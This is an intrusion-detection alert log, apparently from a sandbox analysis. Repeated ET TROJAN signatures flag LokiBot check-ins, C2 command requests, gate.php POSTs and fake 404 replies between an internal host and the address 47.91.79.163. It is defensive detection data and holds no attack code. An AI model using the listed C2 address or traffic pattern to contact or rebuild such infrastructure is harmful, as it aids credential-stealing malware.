12/03/20-10:03:50.701367	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49939	80	192.168.2.3	47.91.79.163
12/03/20-10:03:50.701367	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49939	80	192.168.2.3	47.91.79.163
12/03/20-10:03:50.762480	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49939	47.91.79.163	192.168.2.3
12/03/20-10:03:51.232876	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49941	80	192.168.2.3	47.91.79.163
12/03/20-10:03:51.232876	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49941	80	192.168.2.3	47.91.79.163
12/03/20-10:03:51.232876	TCP	2025381	ET TROJAN LokiBot Checkin	49941	80	192.168.2.3	47.91.79.163
12/03/20-10:03:51.232876	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49941	80	192.168.2.3	47.91.79.163
12/03/20-10:03:51.232876	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49941	80	192.168.2.3	47.91.79.163
12/03/20-10:03:51.295295	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49941	47.91.79.163	192.168.2.3
12/03/20-10:03:51.745747	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49942	80	192.168.2.3	47.91.79.163
12/03/20-10:03:51.745747	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49942	80	192.168.2.3	47.91.79.163
12/03/20-10:03:51.745747	TCP	2025381	ET TROJAN LokiBot Checkin	49942	80	192.168.2.3	47.91.79.163
12/03/20-10:03:51.745747	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49942	80	192.168.2.3	47.91.79.163
12/03/20-10:03:51.745747	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49942	80	192.168.2.3	47.91.79.163
12/03/20-10:03:51.805430	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49942	47.91.79.163	192.168.2.3
12/03/20-10:03:52.011532	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49944	80	192.168.2.3	47.91.79.163
12/03/20-10:03:52.011532	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49944	80	192.168.2.3	47.91.79.163
12/03/20-10:03:52.011532	TCP	2025381	ET TROJAN LokiBot Checkin	49944	80	192.168.2.3	47.91.79.163
12/03/20-10:03:52.011532	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49944	80	192.168.2.3	47.91.79.163
12/03/20-10:03:52.011532	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49944	80	192.168.2.3	47.91.79.163
12/03/20-10:03:52.069458	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49944	47.91.79.163	192.168.2.3
12/03/20-10:03:52.540726	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49945	80	192.168.2.3	47.91.79.163
12/03/20-10:03:52.540726	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49945	80	192.168.2.3	47.91.79.163
12/03/20-10:03:52.540726	TCP	2025381	ET TROJAN LokiBot Checkin	49945	80	192.168.2.3	47.91.79.163
12/03/20-10:03:52.540726	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49945	80	192.168.2.3	47.91.79.163
12/03/20-10:03:52.540726	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49945	80	192.168.2.3	47.91.79.163
12/03/20-10:03:52.673837	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49945	47.91.79.163	192.168.2.3
12/03/20-10:03:53.132190	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49946	80	192.168.2.3	47.91.79.163
12/03/20-10:03:53.132190	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49946	80	192.168.2.3	47.91.79.163
12/03/20-10:03:53.132190	TCP	2025381	ET TROJAN LokiBot Checkin	49946	80	192.168.2.3	47.91.79.163
12/03/20-10:03:53.132190	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49946	80	192.168.2.3	47.91.79.163
12/03/20-10:03:53.132190	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49946	80	192.168.2.3	47.91.79.163
12/03/20-10:03:53.203317	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49946	47.91.79.163	192.168.2.3
12/03/20-10:03:53.741500	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49948	80	192.168.2.3	47.91.79.163
12/03/20-10:03:53.741500	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49948	80	192.168.2.3	47.91.79.163
12/03/20-10:03:53.741500	TCP	2025381	ET TROJAN LokiBot Checkin	49948	80	192.168.2.3	47.91.79.163
12/03/20-10:03:53.741500	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49948	80	192.168.2.3	47.91.79.163
12/03/20-10:03:53.741500	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49948	80	192.168.2.3	47.91.79.163
12/03/20-10:03:53.800650	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49948	47.91.79.163	192.168.2.3
12/03/20-10:03:54.013312	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49949	80	192.168.2.3	47.91.79.163
12/03/20-10:03:54.013312	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49949	80	192.168.2.3	47.91.79.163
12/03/20-10:03:54.013312	TCP	2025381	ET TROJAN LokiBot Checkin	49949	80	192.168.2.3	47.91.79.163
12/03/20-10:03:54.013312	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49949	80	192.168.2.3	47.91.79.163
12/03/20-10:03:54.013312	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49949	80	192.168.2.3	47.91.79.163
12/03/20-10:03:54.074158	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49949	47.91.79.163	192.168.2.3
12/03/20-10:03:54.573092	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49950	80	192.168.2.3	47.91.79.163
12/03/20-10:03:54.573092	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49950	80	192.168.2.3	47.91.79.163
12/03/20-10:03:54.573092	TCP	2025381	ET TROJAN LokiBot Checkin	49950	80	192.168.2.3	47.91.79.163
12/03/20-10:03:54.573092	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49950	80	192.168.2.3	47.91.79.163
12/03/20-10:03:54.573092	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49950	80	192.168.2.3	47.91.79.163
12/03/20-10:03:54.632228	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49950	47.91.79.163	192.168.2.3
12/03/20-10:03:55.156588	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49951	80	192.168.2.3	47.91.79.163
12/03/20-10:03:55.156588	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49951	80	192.168.2.3	47.91.79.163
12/03/20-10:03:55.156588	TCP	2025381	ET TROJAN LokiBot Checkin	49951	80	192.168.2.3	47.91.79.163
12/03/20-10:03:55.156588	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49951	80	192.168.2.3	47.91.79.163
12/03/20-10:03:55.156588	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49951	80	192.168.2.3	47.91.79.163
12/03/20-10:03:55.378946	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49951	47.91.79.163	192.168.2.3
12/03/20-10:03:55.853547	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49953	80	192.168.2.3	47.91.79.163
12/03/20-10:03:55.853547	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49953	80	192.168.2.3	47.91.79.163
12/03/20-10:03:55.853547	TCP	2025381	ET TROJAN LokiBot Checkin	49953	80	192.168.2.3	47.91.79.163
12/03/20-10:03:55.853547	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49953	80	192.168.2.3	47.91.79.163
12/03/20-10:03:55.853547	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49953	80	192.168.2.3	47.91.79.163
12/03/20-10:03:55.913942	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49953	47.91.79.163	192.168.2.3
12/03/20-10:03:56.114180	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49954	80	192.168.2.3	47.91.79.163
12/03/20-10:03:56.114180	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49954	80	192.168.2.3	47.91.79.163
12/03/20-10:03:56.114180	TCP	2025381	ET TROJAN LokiBot Checkin	49954	80	192.168.2.3	47.91.79.163
12/03/20-10:03:56.114180	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49954	80	192.168.2.3	47.91.79.163
12/03/20-10:03:56.114180	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49954	80	192.168.2.3	47.91.79.163
12/03/20-10:03:56.172661	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49954	47.91.79.163	192.168.2.3
12/03/20-10:03:56.633629	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49955	80	192.168.2.3	47.91.79.163
12/03/20-10:03:56.633629	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49955	80	192.168.2.3	47.91.79.163
12/03/20-10:03:56.633629	TCP	2025381	ET TROJAN LokiBot Checkin	49955	80	192.168.2.3	47.91.79.163
12/03/20-10:03:56.633629	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49955	80	192.168.2.3	47.91.79.163
12/03/20-10:03:56.633629	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49955	80	192.168.2.3	47.91.79.163
12/03/20-10:03:56.693409	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49955	47.91.79.163	192.168.2.3
12/03/20-10:03:57.149827	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49956	80	192.168.2.3	47.91.79.163
12/03/20-10:03:57.149827	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49956	80	192.168.2.3	47.91.79.163
12/03/20-10:03:57.149827	TCP	2025381	ET TROJAN LokiBot Checkin	49956	80	192.168.2.3	47.91.79.163
12/03/20-10:03:57.149827	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49956	80	192.168.2.3	47.91.79.163
12/03/20-10:03:57.149827	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49956	80	192.168.2.3	47.91.79.163
12/03/20-10:03:57.219339	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49956	47.91.79.163	192.168.2.3
12/03/20-10:03:57.692003	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49957	80	192.168.2.3	47.91.79.163
12/03/20-10:03:57.692003	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49957	80	192.168.2.3	47.91.79.163
12/03/20-10:03:57.692003	TCP	2025381	ET TROJAN LokiBot Checkin	49957	80	192.168.2.3	47.91.79.163
12/03/20-10:03:57.692003	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49957	80	192.168.2.3	47.91.79.163
12/03/20-10:03:57.692003	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49957	80	192.168.2.3	47.91.79.163
12/03/20-10:03:57.753940	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49957	47.91.79.163	192.168.2.3
12/03/20-10:03:58.283328	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49958	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.283328	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49958	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.283328	TCP	2025381	ET TROJAN LokiBot Checkin	49958	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.283328	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49958	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.283328	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49958	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.343102	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49958	47.91.79.163	192.168.2.3
12/03/20-10:03:58.547963	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49959	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.547963	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49959	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.547963	TCP	2025381	ET TROJAN LokiBot Checkin	49959	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.547963	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49959	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.547963	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49959	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.604919	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49959	47.91.79.163	192.168.2.3
12/03/20-10:03:58.821965	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49960	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.821965	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49960	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.821965	TCP	2025381	ET TROJAN LokiBot Checkin	49960	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.821965	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49960	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.821965	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49960	80	192.168.2.3	47.91.79.163
12/03/20-10:03:58.886666	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49960	47.91.79.163	192.168.2.3
12/03/20-10:03:59.097646	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49961	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.097646	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49961	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.097646	TCP	2025381	ET TROJAN LokiBot Checkin	49961	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.097646	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49961	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.097646	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49961	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.154859	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49961	47.91.79.163	192.168.2.3
12/03/20-10:03:59.376610	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49962	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.376610	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49962	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.376610	TCP	2025381	ET TROJAN LokiBot Checkin	49962	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.376610	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49962	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.376610	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49962	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.446843	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49962	47.91.79.163	192.168.2.3
12/03/20-10:03:59.658099	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49963	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.658099	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49963	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.658099	TCP	2025381	ET TROJAN LokiBot Checkin	49963	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.658099	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49963	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.658099	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49963	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.717549	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49963	47.91.79.163	192.168.2.3
12/03/20-10:03:59.937167	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49964	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.937167	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49964	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.937167	TCP	2025381	ET TROJAN LokiBot Checkin	49964	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.937167	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49964	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.937167	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49964	80	192.168.2.3	47.91.79.163
12/03/20-10:03:59.996311	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49964	47.91.79.163	192.168.2.3
12/03/20-10:04:00.213594	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49965	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.213594	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49965	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.213594	TCP	2025381	ET TROJAN LokiBot Checkin	49965	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.213594	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49965	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.213594	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49965	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.271773	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49965	47.91.79.163	192.168.2.3
12/03/20-10:04:00.506450	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49966	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.506450	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49966	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.506450	TCP	2025381	ET TROJAN LokiBot Checkin	49966	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.506450	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49966	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.506450	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49966	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.568294	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49966	47.91.79.163	192.168.2.3
12/03/20-10:04:00.791546	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49967	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.791546	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49967	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.791546	TCP	2025381	ET TROJAN LokiBot Checkin	49967	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.791546	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49967	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.791546	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49967	80	192.168.2.3	47.91.79.163
12/03/20-10:04:00.944044	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49967	47.91.79.163	192.168.2.3
12/03/20-10:04:01.165537	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49968	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.165537	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49968	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.165537	TCP	2025381	ET TROJAN LokiBot Checkin	49968	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.165537	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49968	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.165537	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49968	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.224258	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49968	47.91.79.163	192.168.2.3
12/03/20-10:04:01.475567	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49969	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.475567	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49969	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.475567	TCP	2025381	ET TROJAN LokiBot Checkin	49969	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.475567	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49969	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.475567	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49969	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.535551	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49969	47.91.79.163	192.168.2.3
12/03/20-10:04:01.768613	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49970	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.768613	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49970	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.768613	TCP	2025381	ET TROJAN LokiBot Checkin	49970	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.768613	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49970	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.768613	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49970	80	192.168.2.3	47.91.79.163
12/03/20-10:04:01.828971	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49970	47.91.79.163	192.168.2.3
12/03/20-10:04:02.064175	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49971	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.064175	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49971	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.064175	TCP	2025381	ET TROJAN LokiBot Checkin	49971	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.064175	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49971	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.064175	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49971	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.206246	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49971	47.91.79.163	192.168.2.3
12/03/20-10:04:02.431475	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49972	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.431475	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49972	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.431475	TCP	2025381	ET TROJAN LokiBot Checkin	49972	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.431475	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49972	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.431475	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49972	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.490119	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49972	47.91.79.163	192.168.2.3
12/03/20-10:04:02.710187	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49973	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.710187	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49973	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.710187	TCP	2025381	ET TROJAN LokiBot Checkin	49973	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.710187	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49973	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.710187	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49973	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.770838	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49973	47.91.79.163	192.168.2.3
12/03/20-10:04:02.991389	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49974	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.991389	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49974	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.991389	TCP	2025381	ET TROJAN LokiBot Checkin	49974	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.991389	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49974	80	192.168.2.3	47.91.79.163
12/03/20-10:04:02.991389	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49974	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.052234	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49974	47.91.79.163	192.168.2.3
12/03/20-10:04:03.285552	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49975	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.285552	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49975	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.285552	TCP	2025381	ET TROJAN LokiBot Checkin	49975	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.285552	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49975	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.285552	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49975	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.344530	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49975	47.91.79.163	192.168.2.3
12/03/20-10:04:03.554473	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49976	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.554473	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49976	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.554473	TCP	2025381	ET TROJAN LokiBot Checkin	49976	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.554473	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49976	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.554473	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49976	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.614421	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49976	47.91.79.163	192.168.2.3
12/03/20-10:04:03.844236	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49977	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.844236	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49977	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.844236	TCP	2025381	ET TROJAN LokiBot Checkin	49977	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.844236	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49977	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.844236	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49977	80	192.168.2.3	47.91.79.163
12/03/20-10:04:03.907417	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49977	47.91.79.163	192.168.2.3
12/03/20-10:04:04.123665	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49978	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.123665	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49978	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.123665	TCP	2025381	ET TROJAN LokiBot Checkin	49978	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.123665	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49978	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.123665	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49978	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.184755	TCP	2025483	ET TROJAN LokiBot Fake 404 Response	80	49978	47.91.79.163	192.168.2.3
12/03/20-10:04:04.413716	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49979	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.413716	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49979	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.413716	TCP	2025381	ET TROJAN LokiBot Checkin	49979	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.413716	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49979	80	192.168.2.3	47.91.79.163
12/03/20-10:04:04.413716	TCP	2017930	ET TROJAN Trojan Generic - POST To gate.php with no referer	49979	80	192.168.2.3	47.91.79.163
